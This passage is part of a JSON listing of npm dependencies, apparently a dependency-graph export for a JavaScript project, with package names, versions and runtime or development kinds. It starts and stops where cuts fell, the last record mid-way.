cosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":7671535956,"package_name":"is-fullwidth-code-point","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535957,"package_name":"is-glob","ecosystem":"npm","requirements":"4.0.3","direct":false,"kind":"development","optional":false},{"id":7671535959,"package_name":"is-interactive","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671535960,"package_name":"is-lambda","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671535962,"package_name":"is-number","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"development","optional":false},{"id":7671535964,"package_name":"is-path-cwd","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535965,"package_name":"is-path-inside","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535967,"package_name":"is-plain-obj","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7671535968,"package_name":"is-plain-object","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671535970,"package_name":"is-promise","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535972,"package_name":"is-regex","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":7671535973,"package_name":"is-stream","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535975,"package_name":"is-unicode-supported","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":7671535977,"package_name":"isarray","ecosystem":"npm","requirements":"0.0.1","direct":false,"kind":"development","optional":false},{"id":7671535978,"package_name":"isexe","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":7671535980,"package_name":"istanbul-lib-coverage","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"development","optional":false},{"id":7671535982,"package_name":"istanbul-lib-hook","ecosystem":"npm","requirements":"2.0.7","direct":false,"kind":"development","optional":false},{"id":7671535984,"package_name":"istanbul-lib-instrument","ecosystem":"npm","requirements":"3.3.0","direct":false,"kind":"development","optional":false},{"id":7671535985,"package_name":"istanbul-lib-coverage","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"development","optional":false},{"id":7671535987,"package_name":"istanbul-lib-report","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535989,"package_name":"istanbul-lib-source-maps","ecosystem":"npm","requirements":"3.0.6","direct":false,"kind":"development","optional":false},{"id":7671535991,"package_name":"rimraf","ecosystem":"npm","requirements":"2.7.1","direct":false,"kind":"development","optional":false},{"id":7671535993,"package_name":"istanbul-reports","ecosystem":"npm","requirements":"3.1.4","direct":false,"kind":"development","optional":false},{"id":7671535995,"package_name":"js-sdsl","ecosystem":"npm","requirements":"4.1.4","direct":false,"kind":"development","optional":false},{"id":7671535997,"package_name":"js-string-escape","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671535998,"package_name":"js-tokens","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671536000,"package_name":"js-yaml","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":7671536001,"package_name":"jsdoc-type-pratt-parser","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7671536020,"package_name":"jsdoctypeparser","ecosystem":"npm","requirements":"9.0.0","direct":false,"kind":"development","optional":false},{"id":7671536030,"package_name":"jsesc","ecosystem":"npm","requirements":"2.5.2","direct":false,"kind":"development","optional":false},{"id":7671536032,"package_name":"jsfuzz","ecosystem":"npm","requirements":"1.0.15","direct":false,"kind":"development","optional":false},{"id":7671536040,"package_name":"ansi-regex","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"development","optional":false},{"id":7671536042,"package_name":"camelcase","ecosystem":"npm","requirements":"5.3.1","direct":false,"kind":"development","optional":false},{"id":7671536043,"package_name":"cliui","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671536045,"package_name":"decamelize","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":7671536048,"package_name":"emoji-regex","ecosystem":"npm","requirements":"7.0.3","direct":false,"kind":"development","optional":false},{"id":7671536050,"package_name":"find-up","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536051,"package_name":"is-fullwidth-code-point","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671536053,"package_name":"locate-path","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536055,"package_name":"p-limit","ecosystem":"npm","requirements":"2.3.0","direct":false,"kind":"development","optional":false},{"id":7671536057,"package_name":"p-locate","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536059,"package_name":"path-exists","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536061,"package_name":"string-width","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7671536063,"package_name":"strip-ansi","ecosystem":"npm","requirements":"5.2.0","direct":false,"kind":"development","optional":false},{"id":7671536064,"package_name":"wrap-ansi","ecosystem":"npm","requirements":"5.1.0","direct":false,"kind":"development","optional":false},{"id":7671536066,"package_name":"y18n","ecosystem":"npm","requirements":"4.0.3","direct":false,"kind":"development","optional":false},{"id":7671536068,"package_name":"yargs","ecosystem":"npm","requirements":"14.2.3","direct":false,"kind":"development","optional":false},{"id":7671536070,"package_name":"yargs-parser","ecosystem":"npm","requirements":"15.0.3","direct":false,"kind":"development","optional":false},{"id":7671536072,"package_name":"json-parse-better-errors","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7671536074,"package_name":"json-parse-even-better-errors","ecosystem":"npm","requirements":"2.3.1","direct":false,"kind":"development","optional":false},{"id":7671536076,"package_name":"json-schema-traverse","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671536078,"package_name":"json-stable-stringify-without-jsonify","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671536080,"package_name":"json-stringify-nice","ecosystem":"npm","requirements":"1.1.4","direct":false,"kind":"development","optional":false},{"id":7671536089,"package_name":"json5","ecosystem":"npm","requirements":"2.2.2","direct":false,"kind":"development","optional":false},{"id":7671536091,"package_name":"jsonc-parser","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"development","optional":false},{"id":7671536093,"package_name":"jsonfile","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671536095,"package_name":"jsonparse","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"development","optional":false},{"id":7671536097,"package_name":"just-diff","ecosystem":"npm","requirements":"5.1.1","direct":false,"kind":"development","optional":false},{"id":7671536116,"package_name":"just-diff-apply","ecosystem":"npm","requirements":"5.4.1","direct":false,"kind":"development","optional":false},{"id":7671536126,"package_name":"just-extend","ecosystem":"npm","requirements":"4.2.1","direct":false,"kind":"development","optional":false},{"id":7671536129,"package_name":"levn","ecosystem":"npm","requirements":"0.3.0","direct":false,"kind":"development","optional":false},{"id":7671536130,"package_name":"licensee","ecosystem":"npm","requirements":"10.0.0","direct":false,"kind":"development","optional":false},{"id":7671536138,"package_name":"lines-and-columns","ecosystem":"npm","requirements":"1.2.4","direct":false,"kind":"development","optional":false},{"id":7671536140,"package_name":"linkify-it","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"development","optional":false},{"id":7671536142,"package_name":"load-json-file","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"development","optional":false},{"id":7671536145,"package_name":"locate-path","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":7671536147,"package_name":"lodash","ecosystem":"npm","requirements":"4.17.21","direct":false,"kind":"development","optional":false},{"id":7671536149,"package_name":"lodash.flatmap","ecosystem":"npm","requirements":"4.5.0","direct":false,"kind":"development","optional":false},{"id":7671536161,"package_name":"lodash.flattendeep","ecosystem":"npm","requirements":"4.4.0","direct":false,"kind":"development","optional":false},{"id":7671536163,"package_name":"lodash.get","ecosystem":"npm","requirements":"4.4.2","direct":false,"kind":"development","optional":false},{"id":7671536165,"package_name":"lodash.groupby","ecosystem":"npm","requirements":"4.6.0","direct":false,"kind":"development","optional":false},{"id":7671536180,"package_name":"lodash.merge","ecosystem":"npm","requirements":"4.6.2","direct":false,"kind":"development","optional":false},{"id":7671536182,"package_name":"lodash.truncate","ecosystem":"npm","requirements":"4.4.2","direct":false,"kind":"development","optional":false},{"id":7671536185,"package_name":"log-symbols","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":7671536187,"package_name":"is-unicode-supported","ecosystem":"npm","requirements":"0.1.0","direct":false,"kind":"development","optional":false},{"id":7671536188,"package_name":"log4js","ecosystem":"npm","requirements":"6.7.0","direct":false,"kind":"development","optional":false},{"id":7671536191,"package_name":"loose-envify","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":7671536192,"package_name":"lru-cache","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":7671536194,"package_name":"magic-string","ecosystem":"npm","requirements":"0.25.9","direct":false,"kind":"development","optional":false},{"id":7671536196,"package_name":"make-dir","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7671536198,"package_name":"make-fetch-happen","ecosystem":"npm","requirements":"10.2.1","direct":false,"kind":"development","optional":false},{"id":7671536200,"package_name":"@npmcli/fs","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"development","optional":false},{"id":7671536202,"package_name":"cacache","ecosystem":"npm","requirements":"16.1.3","direct":false,"kind":"development","optional":false},{"id":7671536204,"package_name":"ssri","ecosystem":"npm","requirements":"9.0.1","direct":false,"kind":"development","optional":false},{"id":7671536206,"package_name":"unique-filename","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7671536208,"package_name":"unique-slug","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536210,"package_name":"map-age-cleaner","ecosystem":"npm","requirements":"0.1.3","direct":false,"kind":"development","optional":false},{"id":7671536212,"package_name":"markdown-it","ecosystem":"npm","requirements":"13.0.1","direct":false,"kind":"development","optional":false},{"id":7671536214,"package_name":"markdownlint","ecosystem":"npm","requirements":"0.27.0","direct":false,"kind":"development","optional":false},{"id":7671536233,"package_name":"markdownlint-cli","ecosystem":"npm","requirements":"0.33.0","direct":false,"kind":"development","optional":false},{"id":7671536239,"package_name":"minimatch","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":7671536240,"package_name":"matcher","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671536250,"package_name":"md5-hex","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":7671536261,"package_name":"mdurl","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671536263,"package_name":"mem","ecosystem":"npm","requirements":"9.0.2","direct":false,"kind":"development","optional":false},{"id":7671536265,"package_name":"merge-source-map","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":7671536266,"package_name":"merge-stream","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671536268,"package_name":"merge2","ecosystem":"npm","requirements":"1.4.1","direct":false,"kind":"development","optional":false},{"id":7671536270,"package_name":"micro-spelling-correcter","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":7671536669,"package_name":"micromatch","ecosystem":"npm","requirements":"4.0.5","direct":false,"kind":"development","optional":false},{"id":7671536672,"package_name":"mimic-fn","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671536679,"package_name":"minimatch","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"development","optional":false},{"id":7671536681,"package_name":"minimist","ecosystem":"npm","requirements":"1.2.6","direct":false,"kind":"development","optional":false},{"id":7671536683,"package_name":"minipass","ecosystem":"npm","requirements":"3.3.4","direct":false,"kind":"development","optional":false},{"id":7671536685,"package_name":"minipass-collect","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7671536687,"package_name":"minipass-fetch","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"development","optional":false},{"id":7671536689,"package_name":"minipass-flush","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":7671536691,"package_name":"minipass-json-stream","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671536692,"package_name":"minipass-pipeline","ecosystem":"npm","requirements":"1.2.4","direct":false,"kind":"development","optional":false},{"id":7671536695,"package_name":"minipass-sized","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"development","optional":false},{"id":7671536699,"package_name":"minizlib","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"development","optional":false},{"id":7671536700,"package_name":"mkdirp","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":7671536701,"package_name":"mocha","ecosystem":"npm","requirements":"9.2.2","direct":false,"kind":"development","optional":false},{"id":7671536702,"package_name":"debug","ecosystem":"npm","requirements":"4.3.3","direct":false,"kind":"development","optional":false},{"id":7671536703,"package_name":"minimatch","ecosystem":"npm","requirements":"4.2.1","direct":false,"kind":"development","optional":false},{"id":7671536704,"package_name":"supports-color","ecosystem":"npm","requirements":"8.1.1","direct":false,"kind":"development","optional":false},{"id":7671536705,"package_name":"yargs-parser","ecosystem":"npm","requirements":"20.2.4","direct":false,"kind":"development","optional":false},{"id":7671536706,"package_name":"mri","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":7671536707,"package_name":"ms","ecosystem":"npm","requirements":"2.1.3","direct":false,"kind":"development","optional":false},{"id":7671536708,"package_name":"multimatch","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671536709,"package_name":"arrify","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7671536710,"package_name":"mutation-testing-elements","ecosystem":"npm","requirements":"1.7.12","direct":false,"kind":"development","optional":false},{"id":7671536754,"package_name":"mutation-testing-metrics","ecosystem":"npm","requirements":"1.7.10","direct":false,"kind":"development","optional":false},{"id":7671536755,"package_name":"mutation-testing-report-schema","ecosystem":"npm","requirements":"1.7.10","direct":false,"kind":"development","optional":false},{"id":7671536756,"package_name":"mute-stream","ecosystem":"npm","requirements":"0.0.8","direct":false,"kind":"development","optional":false},{"id":7671536757,"package_name":"nanoid","ecosystem":"npm","requirements":"3.3.1","direct":false,"kind":"development","optional":false},{"id":7671536758,"package_name":"natural-compare","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":7671536759,"package_name":"negotiator","ecosystem":"npm","requirements":"0.6.3","direct":false,"kind":"development","optional":false},{"id":7671536760,"package_name":"nested-error-stacks","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":7671536761,"package_name":"nise","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":7671536762,"package_name":"@sinonjs/fake-timers","ecosystem":"npm","requirements":"7.1.2","direct":false,"kind":"development","optional":false},{"id":7671536763,"package_name":"@sinonjs/commons","ecosystem":"npm","requirements":"1.8.5","direct":false,"kind":"development","optional":false},{"id":7671536764,"package_name":"node-gyp","ecosystem":"npm","requirements":"9.3.0","direct":false,"kind":"development","optional":false},{"id":7671536765,"package_name":"abbrev","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":7671536766,"package_name":"are-we-there-yet","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":7671536767,"package_name":"gauge","ecosystem":"npm","requirements":"4.0.4","direct":false,"kind":"development","optional":false},{"id":7671536768,"package_name":"nopt","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":7671536769,"package_name":"npmlog","ecosystem":"npm","requirements":"6.0.2","direct":false,"kind":"development","optional":false},{"id":7671536770,"package_name":"node-modules-regexp","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671536771,"package_name":"node-releases","ecosystem":"npm","requirements":"2.0.8","direct":false,"kind":"development","optional":false},{"id":7671536772,"package_name":"nofilter","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7671536773,"package_name":"nopt","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"development","optional":false},{"id":7671536774,"package_name":"normalize-package-data","ecosystem":"npm","requirements":"2.5.0","direct":false,"kind":"development","optional":false},{"id":7671536775,"package_name":"normalize-path","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536776,"package_name":"npm-bundled","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536777,"package_name":"npm-install-checks","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":7671536778,"package_name":"npm-license-corrections","ecosystem":"npm","requirements":"1.6.2","direct":false,"kind":"development","optional":false},{"id":7671536779,"package_name":"npm-normalize-package-bin","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536780,"package_name":"npm-package-arg","ecosystem":"npm","requirements":"10.0.0","direct":false,"kind":"development","optional":false},{"id":7671536781,"package_name":"npm-packlist","ecosystem":"npm","requirements":"7.0.2","direct":false,"kind":"development","optional":false},{"id":7671536782,"package_name":"npm-pick-manifest","ecosystem":"npm","requirements":"8.0.1","direct":false,"kind":"development","optional":false},{"id":7671536783,"package_name":"npm-registry-fetch","ecosystem":"npm","requirements":"14.0.2","direct":false,"kind":"development","optional":false},{"id":7671536784,"package_name":"make-fetch-happen","ecosystem":"npm","requirements":"11.0.1","direct":false,"kind":"development","optional":false},{"id":7671536785,"package_name":"minipass-fetch","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536786,"package_name":"npm-run-path","ecosystem":"npm","requirements":"5.1.0","direct":false,"kind":"development","optional":false},{"id":7671536787,"package_name":"path-key","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671536788,"package_name":"npmlog","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"development","optional":false},{"id":7671536789,"package_name":"nyc","ecosystem":"npm","requirements":"14.1.1","direct":false,"kind":"development","optional":false},{"id":7671536790,"package_name":"cross-spawn","ecosystem":"npm","requirements":"4.0.2","direct":false,"kind":"development","optional":false},{"id":7671536791,"package_name":"foreground-child","ecosystem":"npm","requirements":"1.5.6","direct":false,"kind":"development","optional":false},{"id":7671536792,"package_name":"istanbul-lib-report","ecosystem":"npm","requirements":"2.0.8","direct":false,"kind":"development","optional":false},{"id":7671536793,"package_name":"istanbul-reports","ecosystem":"npm","requirements":"2.2.7","direct":false,"kind":"development","optional":false},{"id":7671536794,"package_name":"lru-cache","ecosystem":"npm","requirements":"4.1.5","direct":false,"kind":"development","optional":false},{"id":7671536795,"package_name":"supports-color","ecosystem":"npm","requirements":"6.1.0","direct":false,"kind":"development","optional":false},{"id":7671536796,"package_name":"test-exclude","ecosystem":"npm","requirements":"5.2.3","direct":false,"kind":"development","optional":false},{"id":7671536797,"package_name":"which","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"development","optional":false},{"id":7671536798,"package_name":"yallist","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"development","optional":false},{"id":7671536799,"package_name":"yargs","ecosystem":"npm","requirements":"13.3.2","direct":false,"kind":"development","optional":false},{"id":7671536800,"package_name":"yargs-parser","ecosystem":"npm","requirements":"13.1.2","direct":false,"kind":"development","optional":false},{"id":7671536801,"package_name":"object-inspect","ecosystem":"npm","requirements":"1.12.0","direct":false,"kind":"development","optional":false},{"id":7671536802,"package_name":"object-is","ecosystem":"npm","requirements":"1.1.5","direct":false,"kind":"development","optional":false},{"id":7671536803,"package_name":"object-keys","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":7671536804,"package_name":"once","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":7671536805,"package_name":"onetime","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":7671536806,"package_name":"optionator","ecosystem":"npm","requirements":"0.8.3","direct":false,"kind":"development","optional":false},{"id":7671536807,"package_name":"ora","ecosystem":"npm","requirements":"5.4.1","direct":false,"kind":"development","optional":false},{"id":7671536808,"package_name":"os-homedir","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7671536809,"package_name":"os-tmpdir","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7671536810,"package_name":"p-defer","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671536811,"package_name":"p-event","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":7671536812,"package_name":"p-limit","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7671536813,"package_name":"p-locate","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671536814,"package_name":"p-map","ecosystem":"npm","requirements":"5.5.0","direct":false,"kind":"development","optional":false},{"id":7671536815,"package_name":"p-timeout","ecosystem":"npm","requirements":"5.0.2","direct":false,"kind":"development","optional":false},{"id":7671536816,"package_name":"p-try","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"development","optional":false},{"id":7671536817,"package_name":"package-hash","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536818,"package_name":"pacote","ecosystem":"npm","requirements":"15.0.6","direct":false,"kind":"development","optional":false},{"id":7671536819,"package_name":"parent-module","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671536820,"package_name":"callsites","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7671536821,"package_name":"parse-conflict-json","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536822,"package_name":"parse-json","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671536823,"package_name":"parse-ms","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536824,"package_name":"path-exists","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671536825,"package_name":"path-is-absolute","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671536826,"package_name":"path-key","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":7671536827,"package_name":"path-parse","ecosystem":"npm","requirements":"1.0.7","direct":false,"kind":"development","optional":false},{"id":7671536828,"package_name":"path-to-regexp","ecosystem":"npm","requirements":"1.8.0","direct":false,"kind":"development","optional":false},{"id":7671536829,"package_name":"path-type","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671536830,"package_name":"picocolors","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671536831,"package_name":"picomatch","ecosystem":"npm","requirements":"2.3.1","direct":false,"kind":"development","optional":false},{"id":7671536832,"package_name":"pidusage","ecosystem":"npm","requirements":"2.0.21","direct":false,"kind":"development","optional":false},{"id":7671536833,"package_name":"safe-buffer","ecosystem":"npm","requirements":"5.2.1","direct":false,"kind":"development","optional":false},{"id":7671536834,"package_name":"pify","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"development","optional":false},{"id":7671536835,"package_name":"pirates","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"development","optional":false},{"id":7671536836,"package_name":"pkg-conf","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671536837,"package_name":"find-up","ecosystem":"npm","requirements":"6.3.0","direct":false,"kind":"development","optional":false},{"id":7671536838,"package_name":"locate-path","ecosystem":"npm","requirements":"7.1.0","direct":false,"kind":"development","optional":false},{"id":7671536839,"package_name":"p-limit","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671536840,"package_name":"p-locate","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":7671536841,"package_name":"path-exists","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671536842,"package_name":"yocto-queue","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":7671536843,"package_name":"pkg-dir","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536844,"package_name":"platform","ecosystem":"npm","requirements":"1.3.6","direct":false,"kind":"development","optional":false},{"id":7671536845,"package_name":"please-upgrade-node","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"development","optional":false},{"id":7671536846,"package_name":"plur","ecosystem":"npm","requirements":"5.1.0","direct":false,"kind":"development","optional":false},{"id":7671536847,"package_name":"postcss","ecosystem":"npm","requirements":"8.4.14","direct":false,"kind":"development","optional":false},{"id":7671536848,"package_name":"postcss-selector-parser","ecosystem":"npm","requirements":"6.0.10","direct":false,"kind":"development","optional":false},{"id":7671536849,"package_name":"nanoid","ecosystem":"npm","requirements":"3.3.4","direct":false,"kind":"development","optional":false},{"id":7671536850,"package_name":"prelude-ls","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":7671536851,"package_name":"prettier","ecosystem":"npm","requirements":"2.8.4","direct":false,"kind":"development","optional":false},{"id":7671536852,"package_name":"pretty-ms","ecosystem":"npm","requirements":"8.0.0","direct":false,"kind":"development","optional":false},{"id":7671536853,"package_name":"proc-log","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536854,"package_name":"process","ecosystem":"npm","requirements":"0.11.10","direct":false,"kind":"development","optional":false},{"id":7671536855,"package_name":"progress","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"development","optional":false},{"id":7671536856,"package_name":"promise-all-reject-late","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671536857,"package_name":"promise-call-limit","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671536858,"package_name":"promise-inflight","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671536859,"package_name":"promise-retry","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7671536860,"package_name":"pseudomap","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":7671536861,"package_name":"publint","ecosystem":"npm","requirements":"0.1.9","direct":false,"kind":"development","optional":false},{"id":7671536862,"package_name":"glob","ecosystem":"npm","requirements":"8.1.0","direct":false,"kind":"development","optional":false},{"id":7671536863,"package_name":"ignore-walk","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":7671536864,"package_name":"minimatch","ecosystem":"npm","requirements":"5.1.6","direct":false,"kind":"development","optional":false},{"id":7671536865,"package_name":"npm-bundled","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7671536866,"package_name":"npm-normalize-package-bin","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671536867,"package_name":"npm-packlist","ecosystem":"npm","requirements":"5.1.3","direct":false,"kind":"development","optional":false},{"id":7671536868,"package_name":"punycode","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":7671536869,"package_name":"pure-rand","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":7671536870,"package_name":"qs","ecosystem":"npm","requirements":"6.10.3","direct":false,"kind":"development","optional":false},{"id":7671536871,"package_name":"query-ast","ecosystem":"npm","requirements":"1.0.4","direct":false,"kind":"development","optional":false},{"id":7671536872,"package_name":"queue-microtask","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"development","optional":false},{"id":7671536873,"package_name":"randombytes","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":7671536874,"package_name":"read-cmd-shim","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671536875,"package_name":"read-package-json","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":7671536876,"package_name":"read-package-json-fast","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":7671536877,"package_name":"normalize-package-data","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671536878,"package_name":"read-pkg","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536879,"package_name":"read-pkg-up","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671536880,"package_name":"load-json-file","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671536881,"package_name":"path-type","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536882,"package_name":"pify","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671536883,"package_name":"readable-stream","ecosystem":"npm","requirements":"3.6.0","direct":false,"kind":"development","optional":false},{"id":7671536884,"p